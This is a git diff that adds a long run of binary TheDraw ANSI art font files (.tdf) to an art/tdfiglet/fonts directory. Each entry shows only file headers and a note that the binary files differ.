diff --git a/art/tdfiglet/fonts/quazarx.tdf b/art/tdfiglet/fonts/quazarx.tdf
new file mode 100644
index 0000000..ad340ed
Binary files /dev/null and b/art/tdfiglet/fonts/quazarx.tdf differ
diff --git a/art/tdfiglet/fonts/radiancx.tdf b/art/tdfiglet/fonts/radiancx.tdf
new file mode 100644
index 0000000..70ebdfe
Binary files /dev/null and b/art/tdfiglet/fonts/radiancx.tdf differ
diff --git a/art/tdfiglet/fonts/ragnarkx.tdf b/art/tdfiglet/fonts/ragnarkx.tdf
new file mode 100644
index 0000000..412d13a
Binary files /dev/null and b/art/tdfiglet/fonts/ragnarkx.tdf differ
diff --git a/art/tdfiglet/fonts/rainx.tdf b/art/tdfiglet/fonts/rainx.tdf
new file mode 100644
index 0000000..3466d2a
Binary files /dev/null and b/art/tdfiglet/fonts/rainx.tdf differ
diff --git a/art/tdfiglet/fonts/rapidcol.tdf b/art/tdfiglet/fonts/rapidcol.tdf
new file mode 100644
index 0000000..2fac9b8
Binary files /dev/null and b/art/tdfiglet/fonts/rapidcol.tdf differ
diff --git a/art/tdfiglet/fonts/rastaa.tdf b/art/tdfiglet/fonts/rastaa.tdf
new file mode 100644
index 0000000..6a926c4
Binary files /dev/null and b/art/tdfiglet/fonts/rastaa.tdf differ
diff --git a/art/tdfiglet/fonts/ravaged.tdf b/art/tdfiglet/fonts/ravaged.tdf
new file mode 100644
index 0000000..8fd93fa
Binary files /dev/null and b/art/tdfiglet/fonts/ravaged.tdf differ
diff --git a/art/tdfiglet/fonts/rave.tdf b/art/tdfiglet/fonts/rave.tdf
new file mode 100644
index 0000000..f387c8b
Binary files /dev/null and b/art/tdfiglet/fonts/rave.tdf differ
diff --git a/art/tdfiglet/fonts/razor1x.tdf b/art/tdfiglet/fonts/razor1x.tdf
new file mode 100644
index 0000000..634d2ed
Binary files /dev/null and b/art/tdfiglet/fonts/razor1x.tdf differ
diff --git a/art/tdfiglet/fonts/razor2.tdf b/art/tdfiglet/fonts/razor2.tdf
new file mode 100644
index 0000000..849fe18
Binary files /dev/null and b/art/tdfiglet/fonts/razor2.tdf differ
diff --git a/art/tdfiglet/fonts/razor3.tdf b/art/tdfiglet/fonts/razor3.tdf
new file mode 100644
index 0000000..a40b1a0
Binary files /dev/null and b/art/tdfiglet/fonts/razor3.tdf differ
diff --git a/art/tdfiglet/fonts/razorx.tdf b/art/tdfiglet/fonts/razorx.tdf
new file mode 100644
index 0000000..8a56d86
Binary files /dev/null and b/art/tdfiglet/fonts/razorx.tdf differ
diff --git a/art/tdfiglet/fonts/realityx.tdf b/art/tdfiglet/fonts/realityx.tdf
new file mode 100644
index 0000000..670d151
Binary files /dev/null and b/art/tdfiglet/fonts/realityx.tdf differ
diff --git a/art/tdfiglet/fonts/rebelart.tdf b/art/tdfiglet/fonts/rebelart.tdf
new file mode 100644
index 0000000..4630725
Binary files /dev/null and b/art/tdfiglet/fonts/rebelart.tdf differ
diff --git a/art/tdfiglet/fonts/rebelion.tdf b/art/tdfiglet/fonts/rebelion.tdf
new file mode 100644
index 0000000..6ea3d41
Binary files /dev/null and b/art/tdfiglet/fonts/rebelion.tdf differ
diff --git a/art/tdfiglet/fonts/rebell.tdf b/art/tdfiglet/fonts/rebell.tdf
new file mode 100644
index 0000000..40a2a26
Binary files /dev/null and b/art/tdfiglet/fonts/rebell.tdf differ
diff --git a/art/tdfiglet/fonts/regency.tdf b/art/tdfiglet/fonts/regency.tdf
new file mode 100644
index 0000000..4d5b332
Binary files /dev/null and b/art/tdfiglet/fonts/regency.tdf differ
diff --git a/art/tdfiglet/fonts/regulatx.tdf b/art/tdfiglet/fonts/regulatx.tdf
new file mode 100644
index 0000000..d24ca1c
Binary files /dev/null and b/art/tdfiglet/fonts/regulatx.tdf differ
diff --git a/art/tdfiglet/fonts/reguoutx.tdf b/art/tdfiglet/fonts/reguoutx.tdf
new file mode 100644
index 0000000..9d3dca6
Binary files /dev/null and b/art/tdfiglet/fonts/reguoutx.tdf differ
diff --git a/art/tdfiglet/fonts/remorse.tdf b/art/tdfiglet/fonts/remorse.tdf
new file mode 100644
index 0000000..c9ccdf0
Binary files /dev/null and b/art/tdfiglet/fonts/remorse.tdf differ
diff --git a/art/tdfiglet/fonts/request.tdf b/art/tdfiglet/fonts/request.tdf
new file mode 100644
index 0000000..15b4663
Binary files /dev/null and b/art/tdfiglet/fonts/request.tdf differ
diff --git a/art/tdfiglet/fonts/resista2.tdf b/art/tdfiglet/fonts/resista2.tdf
new file mode 100644
index 0000000..03e5877
Binary files /dev/null and b/art/tdfiglet/fonts/resista2.tdf differ
diff --git a/art/tdfiglet/fonts/resistan.tdf b/art/tdfiglet/fonts/resistan.tdf
new file mode 100644
index 0000000..1a8481b
Binary files /dev/null and b/art/tdfiglet/fonts/resistan.tdf differ
diff --git a/art/tdfiglet/fonts/resistax.tdf b/art/tdfiglet/fonts/resistax.tdf
new file mode 100644
index 0000000..0ef7de1
Binary files /dev/null and b/art/tdfiglet/fonts/resistax.tdf differ
diff --git a/art/tdfiglet/fonts/retribtx.tdf b/art/tdfiglet/fonts/retribtx.tdf
new file mode 100644
index 0000000..b7f4535
Binary files /dev/null and b/art/tdfiglet/fonts/retribtx.tdf differ
diff --git a/art/tdfiglet/fonts/review.tdf b/art/tdfiglet/fonts/review.tdf
new file mode 100644
index 0000000..38d9302
Binary files /dev/null and b/art/tdfiglet/fonts/review.tdf differ
diff --git a/art/tdfiglet/fonts/revisiox.tdf b/art/tdfiglet/fonts/revisiox.tdf
new file mode 100644
index 0000000..a7c165a
Binary files /dev/null and b/art/tdfiglet/fonts/revisiox.tdf differ
diff --git a/art/tdfiglet/fonts/revolutx.tdf b/art/tdfiglet/fonts/revolutx.tdf
new file mode 100644
index 0000000..eedfb65
Binary files /dev/null and b/art/tdfiglet/fonts/revolutx.tdf differ
diff --git a/art/tdfiglet/fonts/ripper.tdf b/art/tdfiglet/fonts/ripper.tdf
new file mode 100644
index 0000000..433f0ce
Binary files /dev/null and b/art/tdfiglet/fonts/ripper.tdf differ
diff --git a/art/tdfiglet/fonts/rivndelx.tdf b/art/tdfiglet/fonts/rivndelx.tdf
new file mode 100644
index 0000000..fcc77de
Binary files /dev/null and b/art/tdfiglet/fonts/rivndelx.tdf differ
diff --git a/art/tdfiglet/fonts/rod-blue.tdf b/art/tdfiglet/fonts/rod-blue.tdf
new file mode 100644
index 0000000..5d330c6
Binary files /dev/null and b/art/tdfiglet/fonts/rod-blue.tdf differ
diff --git a/art/tdfiglet/fonts/rod-grn.tdf b/art/tdfiglet/fonts/rod-grn.tdf
new file mode 100644
index 0000000..47dc46b
Binary files /dev/null and b/art/tdfiglet/fonts/rod-grn.tdf differ
diff --git a/art/tdfiglet/fonts/rod-nav.tdf b/art/tdfiglet/fonts/rod-nav.tdf
new file mode 100644
index 0000000..6e91f65
Binary files /dev/null and b/art/tdfiglet/fonts/rod-nav.tdf differ
diff --git a/art/tdfiglet/fonts/rod-red.tdf b/art/tdfiglet/fonts/rod-red.tdf
new file mode 100644
index 0000000..74bdf14
Binary files /dev/null and b/art/tdfiglet/fonts/rod-red.tdf differ
diff --git a/art/tdfiglet/fonts/romannsl.tdf b/art/tdfiglet/fonts/romannsl.tdf
new file mode 100644
index 0000000..9654667
Binary files /dev/null and b/art/tdfiglet/fonts/romannsl.tdf differ
diff --git a/art/tdfiglet/fonts/roundx.tdf b/art/tdfiglet/fonts/roundx.tdf
new file mode 100644
index 0000000..d55352a
Binary files /dev/null and b/art/tdfiglet/fonts/roundx.tdf differ
diff --git a/art/tdfiglet/fonts/roy-olsx.tdf b/art/tdfiglet/fonts/roy-olsx.tdf
new file mode 100644
index 0000000..9f90c6c
Binary files /dev/null and b/art/tdfiglet/fonts/roy-olsx.tdf differ
diff --git a/art/tdfiglet/fonts/roy3d.tdf b/art/tdfiglet/fonts/roy3d.tdf
new file mode 100644
index 0000000..ef1b220
Binary files /dev/null and b/art/tdfiglet/fonts/roy3d.tdf differ
diff --git a/art/tdfiglet/fonts/royfivex.tdf b/art/tdfiglet/fonts/royfivex.tdf
new file mode 100644
index 0000000..993e9d3
Binary files /dev/null and b/art/tdfiglet/fonts/royfivex.tdf differ
diff --git a/art/tdfiglet/fonts/royfnt1.tdf b/art/tdfiglet/fonts/royfnt1.tdf
new file mode 100644
index 0000000..da82bd0
Binary files /dev/null and b/art/tdfiglet/fonts/royfnt1.tdf differ
diff --git a/art/tdfiglet/fonts/royfour.tdf b/art/tdfiglet/fonts/royfour.tdf
new file mode 100644
index 0000000..85faacd
Binary files /dev/null and b/art/tdfiglet/fonts/royfour.tdf differ
diff --git a/art/tdfiglet/fonts/royfour2.tdf b/art/tdfiglet/fonts/royfour2.tdf
new file mode 100644
index 0000000..709a27a
Binary files /dev/null and b/art/tdfiglet/fonts/royfour2.tdf differ
diff --git a/art/tdfiglet/fonts/roysac2c.tdf b/art/tdfiglet/fonts/roysac2c.tdf
new file mode 100644
index 0000000..ad52d7a
Binary files /dev/null and b/art/tdfiglet/fonts/roysac2c.tdf differ
diff --git a/art/tdfiglet/fonts/roysacos.tdf b/art/tdfiglet/fonts/roysacos.tdf
new file mode 100644
index 0000000..c868c6e
Binary files /dev/null and b/art/tdfiglet/fonts/roysacos.tdf differ
diff --git a/art/tdfiglet/fonts/rozzy.tdf b/art/tdfiglet/fonts/rozzy.tdf
new file mode 100644
index 0000000..d862bdd
Binary files /dev/null and b/art/tdfiglet/fonts/rozzy.tdf differ
diff --git a/art/tdfiglet/fonts/rozzyx.tdf b/art/tdfiglet/fonts/rozzyx.tdf
new file mode 100644
index 0000000..460f215
Binary files /dev/null and b/art/tdfiglet/fonts/rozzyx.tdf differ
diff --git a/art/tdfiglet/fonts/runner.tdf b/art/tdfiglet/fonts/runner.tdf
new file mode 100644
index 0000000..a04e570
Binary files /dev/null and b/art/tdfiglet/fonts/runner.tdf differ
diff --git a/art/tdfiglet/fonts/rust.tdf b/art/tdfiglet/fonts/rust.tdf
new file mode 100644
index 0000000..d11b437
Binary files /dev/null and b/art/tdfiglet/fonts/rust.tdf differ
diff --git a/art/tdfiglet/fonts/rusty.tdf b/art/tdfiglet/fonts/rusty.tdf
new file mode 100644
index 0000000..1d807a7
Binary files /dev/null and b/art/tdfiglet/fonts/rusty.tdf differ
diff --git a/art/tdfiglet/fonts/sabotagc.tdf b/art/tdfiglet/fonts/sabotagc.tdf
new file mode 100644
index 0000000..5b5cc26
Binary files /dev/null and b/art/tdfiglet/fonts/sabotagc.tdf differ
diff --git a/art/tdfiglet/fonts/sabotg2x.tdf b/art/tdfiglet/fonts/sabotg2x.tdf
new file mode 100644
index 0000000..155978a
Binary files /dev/null and b/art/tdfiglet/fonts/sabotg2x.tdf differ
diff --git a/art/tdfiglet/fonts/sac.tdf b/art/tdfiglet/fonts/sac.tdf
new file mode 100644
index 0000000..457a684
Binary files /dev/null and b/art/tdfiglet/fonts/sac.tdf differ
diff --git a/art/tdfiglet/fonts/sacgrenx.tdf b/art/tdfiglet/fonts/sacgrenx.tdf
new file mode 100644
index 0000000..a181d5f
Binary files /dev/null and b/art/tdfiglet/fonts/sacgrenx.tdf differ
diff --git a/art/tdfiglet/fonts/sadistx.tdf b/art/tdfiglet/fonts/sadistx.tdf
new file mode 100644
index 0000000..f31be06
Binary files /dev/null and b/art/tdfiglet/fonts/sadistx.tdf differ
diff --git a/art/tdfiglet/fonts/salvatnx.tdf b/art/tdfiglet/fonts/salvatnx.tdf
new file mode 100644
index 0000000..5c3cf4b
Binary files /dev/null and b/art/tdfiglet/fonts/salvatnx.tdf differ
diff --git a/art/tdfiglet/fonts/sanctx.tdf b/art/tdfiglet/fonts/sanctx.tdf
new file mode 100644
index 0000000..8e84c1c
Binary files /dev/null and b/art/tdfiglet/fonts/sanctx.tdf differ
diff --git a/art/tdfiglet/fonts/sanitarx.tdf b/art/tdfiglet/fonts/sanitarx.tdf
new file mode 100644
index 0000000..cef4397
Binary files /dev/null and b/art/tdfiglet/fonts/sanitarx.tdf differ
diff --git a/art/tdfiglet/fonts/sanktryx.tdf b/art/tdfiglet/fonts/sanktryx.tdf
new file mode 100644
index 0000000..0be13eb
Binary files /dev/null and b/art/tdfiglet/fonts/sanktryx.tdf differ
diff --git a/art/tdfiglet/fonts/sanktuary.tdf b/art/tdfiglet/fonts/sanktuary.tdf
new file mode 100644
index 0000000..abaac71
Binary files /dev/null and b/art/tdfiglet/fonts/sanktuary.tdf differ
diff --git a/art/tdfiglet/fonts/savagex.tdf b/art/tdfiglet/fonts/savagex.tdf
new file mode 100644
index 0000000..18deb02
Binary files /dev/null and b/art/tdfiglet/fonts/savagex.tdf differ
diff --git a/art/tdfiglet/fonts/scd-l2x.tdf b/art/tdfiglet/fonts/scd-l2x.tdf
new file mode 100644
index 0000000..436b37b
Binary files /dev/null and b/art/tdfiglet/fonts/scd-l2x.tdf differ
diff --git a/art/tdfiglet/fonts/scd-line.tdf b/art/tdfiglet/fonts/scd-line.tdf
new file mode 100644
index 0000000..863d90d
Binary files /dev/null and b/art/tdfiglet/fonts/scd-line.tdf differ
diff --git a/art/tdfiglet/fonts/sector.tdf b/art/tdfiglet/fonts/sector.tdf
new file mode 100644
index 0000000..820dc71
Binary files /dev/null and b/art/tdfiglet/fonts/sector.tdf differ
diff --git a/art/tdfiglet/fonts/sector2x.tdf b/art/tdfiglet/fonts/sector2x.tdf
new file mode 100644
index 0000000..fe815a2
Binary files /dev/null and b/art/tdfiglet/fonts/sector2x.tdf differ
diff --git a/art/tdfiglet/fonts/sectorx.tdf b/art/tdfiglet/fonts/sectorx.tdf
new file mode 100644
index 0000000..22eb475
Binary files /dev/null and b/art/tdfiglet/fonts/sectorx.tdf differ
diff --git a/art/tdfiglet/fonts/seedsx.tdf b/art/tdfiglet/fonts/seedsx.tdf
new file mode 100644
index 0000000..fdb175f
Binary files /dev/null and b/art/tdfiglet/fonts/seedsx.tdf differ
diff --git a/art/tdfiglet/fonts/seleven.tdf b/art/tdfiglet/fonts/seleven.tdf
new file mode 100644
index 0000000..d4b561e
Binary files /dev/null and b/art/tdfiglet/fonts/seleven.tdf differ
diff --git a/art/tdfiglet/fonts/sensex.tdf b/art/tdfiglet/fonts/sensex.tdf
new file mode 100644
index 0000000..caca44e
Binary files /dev/null and b/art/tdfiglet/fonts/sensex.tdf differ
diff --git a/art/tdfiglet/fonts/serpentx.tdf b/art/tdfiglet/fonts/serpentx.tdf
new file mode 100644
index 0000000..88ee31f
Binary files /dev/null and b/art/tdfiglet/fonts/serpentx.tdf differ
diff --git a/art/tdfiglet/fonts/severedx.tdf b/art/tdfiglet/fonts/severedx.tdf
new file mode 100644
index 0000000..a656930
Binary files /dev/null and b/art/tdfiglet/fonts/severedx.tdf differ
diff --git a/art/tdfiglet/fonts/shadlndx.tdf b/art/tdfiglet/fonts/shadlndx.tdf
new file mode 100644
index 0000000..1efa6ed
Binary files /dev/null and b/art/tdfiglet/fonts/shadlndx.tdf differ
diff --git a/art/tdfiglet/fonts/shadwlsx.tdf b/art/tdfiglet/fonts/shadwlsx.tdf
new file mode 100644
index 0000000..90d0ae2
Binary files /dev/null and b/art/tdfiglet/fonts/shadwlsx.tdf differ
diff --git a/art/tdfiglet/fonts/shadwsx.tdf b/art/tdfiglet/fonts/shadwsx.tdf
new file mode 100644
index 0000000..18e9cb0
Binary files /dev/null and b/art/tdfiglet/fonts/shadwsx.tdf differ
diff --git a/art/tdfiglet/fonts/shallowx.tdf b/art/tdfiglet/fonts/shallowx.tdf
new file mode 100644
index 0000000..81ad508
Binary files /dev/null and b/art/tdfiglet/fonts/shallowx.tdf differ
diff --git a/art/tdfiglet/fonts/shaolin2.tdf b/art/tdfiglet/fonts/shaolin2.tdf
new file mode 100644
index 0000000..6791529
Binary files /dev/null and b/art/tdfiglet/fonts/shaolin2.tdf differ
diff --git a/art/tdfiglet/fonts/shaolins.tdf b/art/tdfiglet/fonts/shaolins.tdf
new file mode 100644
index 0000000..b34ddaf
Binary files /dev/null and b/art/tdfiglet/fonts/shaolins.tdf differ
diff --git a/art/tdfiglet/fonts/shaolyn.tdf b/art/tdfiglet/fonts/shaolyn.tdf
new file mode 100644
index 0000000..8275214
Binary files /dev/null and b/art/tdfiglet/fonts/shaolyn.tdf differ
diff --git a/art/tdfiglet/fonts/shaolynx.tdf b/art/tdfiglet/fonts/shaolynx.tdf
new file mode 100644
index 0000000..c8223dd
Binary files /dev/null and b/art/tdfiglet/fonts/shaolynx.tdf differ
diff --git a/art/tdfiglet/fonts/shaos.tdf b/art/tdfiglet/fonts/shaos.tdf
new file mode 100644
index 0000000..a82d510
Binary files /dev/null and b/art/tdfiglet/fonts/shaos.tdf differ
diff --git a/art/tdfiglet/fonts/shaosx.tdf b/art/tdfiglet/fonts/shaosx.tdf
new file mode 100644
index 0000000..d377ffc
Binary files /dev/null and b/art/tdfiglet/fonts/shaosx.tdf differ
diff --git a/art/tdfiglet/fonts/shaotis.tdf b/art/tdfiglet/fonts/shaotis.tdf
new file mode 100644
index 0000000..6bf08bd
Binary files /dev/null and b/art/tdfiglet/fonts/shaotis.tdf differ
diff --git a/art/tdfiglet/fonts/sheaven.tdf b/art/tdfiglet/fonts/sheaven.tdf
new file mode 100644
index 0000000..962a8a6
Binary files /dev/null and b/art/tdfiglet/fonts/sheaven.tdf differ
diff --git a/art/tdfiglet/fonts/sheavenx.tdf b/art/tdfiglet/fonts/sheavenx.tdf
new file mode 100644
index 0000000..db9d341
Binary files /dev/null and b/art/tdfiglet/fonts/sheavenx.tdf differ
diff --git a/art/tdfiglet/fonts/shelznsh.tdf b/art/tdfiglet/fonts/shelznsh.tdf
new file mode 100644
index 0000000..9f85921
Binary files /dev/null and b/art/tdfiglet/fonts/shelznsh.tdf differ
diff --git a/art/tdfiglet/fonts/shelzone.tdf b/art/tdfiglet/fonts/shelzone.tdf
new file mode 100644
index 0000000..e7aeb1f
Binary files /dev/null and b/art/tdfiglet/fonts/shelzone.tdf differ
diff --git a/art/tdfiglet/fonts/shlnvert.tdf b/art/tdfiglet/fonts/shlnvert.tdf
new file mode 100644
index 0000000..e95d6e7
Binary files /dev/null and b/art/tdfiglet/fonts/shlnvert.tdf differ
diff --git a/art/tdfiglet/fonts/shodanx.tdf b/art/tdfiglet/fonts/shodanx.tdf
new file mode 100644
index 0000000..ad76e56
Binary files /dev/null and b/art/tdfiglet/fonts/shodanx.tdf differ
diff --git a/art/tdfiglet/fonts/shrimpx.tdf b/art/tdfiglet/fonts/shrimpx.tdf
new file mode 100644
index 0000000..9064ae3
Binary files /dev/null and b/art/tdfiglet/fonts/shrimpx.tdf differ
diff --git a/art/tdfiglet/fonts/shrooms.tdf b/art/tdfiglet/fonts/shrooms.tdf
new file mode 100644
index 0000000..54f7a50
Binary files /dev/null and b/art/tdfiglet/fonts/shrooms.tdf differ
diff --git a/art/tdfiglet/fonts/shsystem.tdf b/art/tdfiglet/fonts/shsystem.tdf
new file mode 100644
index 0000000..4ea257a
Binary files /dev/null and b/art/tdfiglet/fonts/shsystem.tdf differ
diff --git a/art/tdfiglet/fonts/sidepock.tdf b/art/tdfiglet/fonts/sidepock.tdf
new file mode 100644
index 0000000..3065fec
Binary files /dev/null and b/art/tdfiglet/fonts/sidepock.tdf differ
diff --git a/art/tdfiglet/fonts/sidepokx.tdf b/art/tdfiglet/fonts/sidepokx.tdf
new file mode 100644
index 0000000..fa93aff
Binary files /dev/null and b/art/tdfiglet/fonts/sidepokx.tdf differ
diff --git a/art/tdfiglet/fonts/silicon2.tdf b/art/tdfiglet/fonts/silicon2.tdf
new file mode 100644
index 0000000..4055fac
Binary files /dev/null and b/art/tdfiglet/fonts/silicon2.tdf differ
diff --git a/art/tdfiglet/fonts/silicsht.tdf b/art/tdfiglet/fonts/silicsht.tdf
new file mode 100644
index 0000000..9fd0e55
Binary files /dev/null and b/art/tdfiglet/fonts/silicsht.tdf differ
diff --git a/art/tdfiglet/fonts/silver2.tdf b/art/tdfiglet/fonts/silver2.tdf
new file mode 100644
index 0000000..2026874
Binary files /dev/null and b/art/tdfiglet/fonts/silver2.tdf differ
diff --git a/art/tdfiglet/fonts/silverx.tdf b/art/tdfiglet/fonts/silverx.tdf
new file mode 100644
index 0000000..61b8f4b
Binary files /dev/null and b/art/tdfiglet/fonts/silverx.tdf differ
diff --git a/art/tdfiglet/fonts/siversx.tdf b/art/tdfiglet/fonts/siversx.tdf
new file mode 100644
index 0000000..1b075d5
Binary files /dev/null and b/art/tdfiglet/fonts/siversx.tdf differ
diff --git a/art/tdfiglet/fonts/skillion.tdf b/art/tdfiglet/fonts/skillion.tdf
new file mode 100644
index 0000000..14837c7
Binary files /dev/null and b/art/tdfiglet/fonts/skillion.tdf differ
diff --git a/art/tdfiglet/fonts/skyligtx.tdf b/art/tdfiglet/fonts/skyligtx.tdf
new file mode 100644
index 0000000..e0fc2ab
Binary files /dev/null and b/art/tdfiglet/fonts/skyligtx.tdf differ
diff --git a/art/tdfiglet/fonts/sloup.tdf b/art/tdfiglet/fonts/sloup.tdf
new file mode 100644
index 0000000..5e69fd2
Binary files /dev/null and b/art/tdfiglet/fonts/sloup.tdf differ
diff --git a/art/tdfiglet/fonts/smat.tdf b/art/tdfiglet/fonts/smat.tdf
new file mode 100644
index 0000000..21ebd1f
Binary files /dev/null and b/art/tdfiglet/fonts/smat.tdf differ
diff --git a/art/tdfiglet/fonts/societyx.tdf b/art/tdfiglet/fonts/societyx.tdf
new file mode 100644
index 0000000..87b13f2
Binary files /dev/null and b/art/tdfiglet/fonts/societyx.tdf differ
diff --git a/art/tdfiglet/fonts/sodapop.tdf b/art/tdfiglet/fonts/sodapop.tdf
new file mode 100644
index 0000000..d666b13
Binary files /dev/null and b/art/tdfiglet/fonts/sodapop.tdf differ
diff --git a/art/tdfiglet/fonts/sole.tdf b/art/tdfiglet/fonts/sole.tdf
new file mode 100644
index 0000000..95071cd
Binary files /dev/null and b/art/tdfiglet/fonts/sole.tdf differ
diff --git a/art/tdfiglet/fonts/sonic.tdf b/art/tdfiglet/fonts/sonic.tdf
new file mode 100644
index 0000000..62e8cd7
Binary files /dev/null and b/art/tdfiglet/fonts/sonic.tdf differ
diff --git a/art/tdfiglet/fonts/sonicx.tdf b/art/tdfiglet/fonts/sonicx.tdf
new file mode 100644
index 0000000..5cb4f2d
Binary files /dev/null and b/art/tdfiglet/fonts/sonicx.tdf differ
diff --git a/art/tdfiglet/fonts/spacelnk.tdf b/art/tdfiglet/fonts/spacelnk.tdf
new file mode 100644
index 0000000..5fa5690
Binary files /dev/null and b/art/tdfiglet/fonts/spacelnk.tdf differ
diff --git a/art/tdfiglet/fonts/spacelnx.tdf b/art/tdfiglet/fonts/spacelnx.tdf
new file mode 100644
index 0000000..7bc1701
Binary files /dev/null and b/art/tdfiglet/fonts/spacelnx.tdf differ
diff --git a/art/tdfiglet/fonts/spanish.tdf b/art/tdfiglet/fonts/spanish.tdf
new file mode 100644
index 0000000..2438955
Binary files /dev/null and b/art/tdfiglet/fonts/spanish.tdf differ
diff --git a/art/tdfiglet/fonts/spastc4x.tdf b/art/tdfiglet/fonts/spastc4x.tdf
new file mode 100644
index 0000000..38d02e2
Binary files /dev/null and b/art/tdfiglet/fonts/spastc4x.tdf differ
diff --git a/art/tdfiglet/fonts/spastc5x.tdf b/art/tdfiglet/fonts/spastc5x.tdf
new file mode 100644
index 0000000..ac1b8a4
Binary files /dev/null and b/art/tdfiglet/fonts/spastc5x.tdf differ
diff --git a/art/tdfiglet/fonts/spastic1.tdf b/art/tdfiglet/fonts/spastic1.tdf
new file mode 100644
index 0000000..d93da19
Binary files /dev/null and b/art/tdfiglet/fonts/spastic1.tdf differ
diff --git a/art/tdfiglet/fonts/spastic2.tdf b/art/tdfiglet/fonts/spastic2.tdf
new file mode 100644
index 0000000..ac84ed3
Binary files /dev/null and b/art/tdfiglet/fonts/spastic2.tdf differ
diff --git a/art/tdfiglet/fonts/spastic3.tdf b/art/tdfiglet/fonts/spastic3.tdf
new file mode 100644
index 0000000..b936d58
Binary files /dev/null and b/art/tdfiglet/fonts/spastic3.tdf differ
diff --git a/art/tdfiglet/fonts/spawn.tdf b/art/tdfiglet/fonts/spawn.tdf
new file mode 100644
index 0000000..98899fc
Binary files /dev/null and b/art/tdfiglet/fonts/spawn.tdf differ
diff --git a/art/tdfiglet/fonts/spedwayx.tdf b/art/tdfiglet/fonts/spedwayx.tdf
new file mode 100644
index 0000000..0e04279
Binary files /dev/null and b/art/tdfiglet/fonts/spedwayx.tdf differ
diff --git a/art/tdfiglet/fonts/speedway.tdf b/art/tdfiglet/fonts/speedway.tdf
new file mode 100644
index 0000000..69d309d
Binary files /dev/null and b/art/tdfiglet/fonts/speedway.tdf differ
diff --git a/art/tdfiglet/fonts/splat.tdf b/art/tdfiglet/fonts/splat.tdf
new file mode 100644
index 0000000..4a6496b
Binary files /dev/null and b/art/tdfiglet/fonts/splat.tdf differ
diff --git a/art/tdfiglet/fonts/splathos.tdf b/art/tdfiglet/fonts/splathos.tdf
new file mode 100644
index 0000000..2ffdb07
Binary files /dev/null and b/art/tdfiglet/fonts/splathos.tdf differ
diff --git a/art/tdfiglet/fonts/splooge.tdf b/art/tdfiglet/fonts/splooge.tdf
new file mode 100644
index 0000000..830ecf8
Binary files /dev/null and b/art/tdfiglet/fonts/splooge.tdf differ
diff --git a/art/tdfiglet/fonts/spyrit.tdf b/art/tdfiglet/fonts/spyrit.tdf
new file mode 100644
index 0000000..adb7772
Binary files /dev/null and b/art/tdfiglet/fonts/spyrit.tdf differ
diff --git a/art/tdfiglet/fonts/stampx.tdf b/art/tdfiglet/fonts/stampx.tdf
new file mode 100644
index 0000000..94683e8
Binary files /dev/null and b/art/tdfiglet/fonts/stampx.tdf differ
diff --git a/art/tdfiglet/fonts/star.tdf b/art/tdfiglet/fonts/star.tdf
new file mode 100644
index 0000000..4f1f141
Binary files /dev/null and b/art/tdfiglet/fonts/star.tdf differ
diff --git a/art/tdfiglet/fonts/star2x.tdf b/art/tdfiglet/fonts/star2x.tdf
new file mode 100644
index 0000000..1652e7e
Binary files /dev/null and b/art/tdfiglet/fonts/star2x.tdf differ
diff --git a/art/tdfiglet/fonts/star3dx.tdf b/art/tdfiglet/fonts/star3dx.tdf
new file mode 100644
index 0000000..f16b003
Binary files /dev/null and b/art/tdfiglet/fonts/star3dx.tdf differ
diff --git a/art/tdfiglet/fonts/stargatx.tdf b/art/tdfiglet/fonts/stargatx.tdf
new file mode 100644
index 0000000..6956c45
Binary files /dev/null and b/art/tdfiglet/fonts/stargatx.tdf differ
diff --git a/art/tdfiglet/fonts/stasis.tdf b/art/tdfiglet/fonts/stasis.tdf
new file mode 100644
index 0000000..bd29ba4
Binary files /dev/null and b/art/tdfiglet/fonts/stasis.tdf differ
diff --git a/art/tdfiglet/fonts/static.tdf b/art/tdfiglet/fonts/static.tdf
new file mode 100644
index 0000000..443a8cb
Binary files /dev/null and b/art/tdfiglet/fonts/static.tdf differ
diff --git a/art/tdfiglet/fonts/statisx.tdf b/art/tdfiglet/fonts/statisx.tdf
new file mode 100644
index 0000000..8d07fed
Binary files /dev/null and b/art/tdfiglet/fonts/statisx.tdf differ
diff --git a/art/tdfiglet/fonts/stats.tdf b/art/tdfiglet/fonts/stats.tdf
new file mode 100644
index 0000000..9915488
Binary files /dev/null and b/art/tdfiglet/fonts/stats.tdf differ
diff --git a/art/tdfiglet/fonts/statsrs.tdf b/art/tdfiglet/fonts/statsrs.tdf
new file mode 100644
index 0000000..7212a3a
Binary files /dev/null and b/art/tdfiglet/fonts/statsrs.tdf differ
diff --git a/art/tdfiglet/fonts/steelx.tdf b/art/tdfiglet/fonts/steelx.tdf
new file mode 100644
index 0000000..a332b02
Binary files /dev/null and b/art/tdfiglet/fonts/steelx.tdf differ
diff --git a/art/tdfiglet/fonts/stncirc1.tdf b/art/tdfiglet/fonts/stncirc1.tdf
new file mode 100644
index 0000000..ddc227b
Binary files /dev/null and b/art/tdfiglet/fonts/stncirc1.tdf differ
diff --git a/art/tdfiglet/fonts/stncirc2.tdf b/art/tdfiglet/fonts/stncirc2.tdf
new file mode 100644
index 0000000..a4cd5c1
Binary files /dev/null and b/art/tdfiglet/fonts/stncirc2.tdf differ
diff --git a/art/tdfiglet/fonts/stormx.tdf b/art/tdfiglet/fonts/stormx.tdf
new file mode 100644
index 0000000..5f5a03b
Binary files /dev/null and b/art/tdfiglet/fonts/stormx.tdf differ
diff --git a/art/tdfiglet/fonts/strabery.tdf b/art/tdfiglet/fonts/strabery.tdf
new file mode 100644
index 0000000..26811c6
Binary files /dev/null and b/art/tdfiglet/fonts/strabery.tdf differ
diff --git a/art/tdfiglet/fonts/stripesx.tdf b/art/tdfiglet/fonts/stripesx.tdf
new file mode 100644
index 0000000..8a1c602
Binary files /dev/null and b/art/tdfiglet/fonts/stripesx.tdf differ
diff --git a/art/tdfiglet/fonts/stripssx.tdf b/art/tdfiglet/fonts/stripssx.tdf
new file mode 100644
index 0000000..2ee0d6c
Binary files /dev/null and b/art/tdfiglet/fonts/stripssx.tdf differ
diff --git a/art/tdfiglet/fonts/stupidx.tdf b/art/tdfiglet/fonts/stupidx.tdf
new file mode 100644
index 0000000..8d7c974
Binary files /dev/null and b/art/tdfiglet/fonts/stupidx.tdf differ
diff --git a/art/tdfiglet/fonts/sub.tdf b/art/tdfiglet/fonts/sub.tdf
new file mode 100644
index 0000000..a2f6add
Binary files /dev/null and b/art/tdfiglet/fonts/sub.tdf differ
diff --git a/art/tdfiglet/fonts/succo2x.tdf b/art/tdfiglet/fonts/succo2x.tdf
new file mode 100644
index 0000000..66e9199
Binary files /dev/null and b/art/tdfiglet/fonts/succo2x.tdf differ
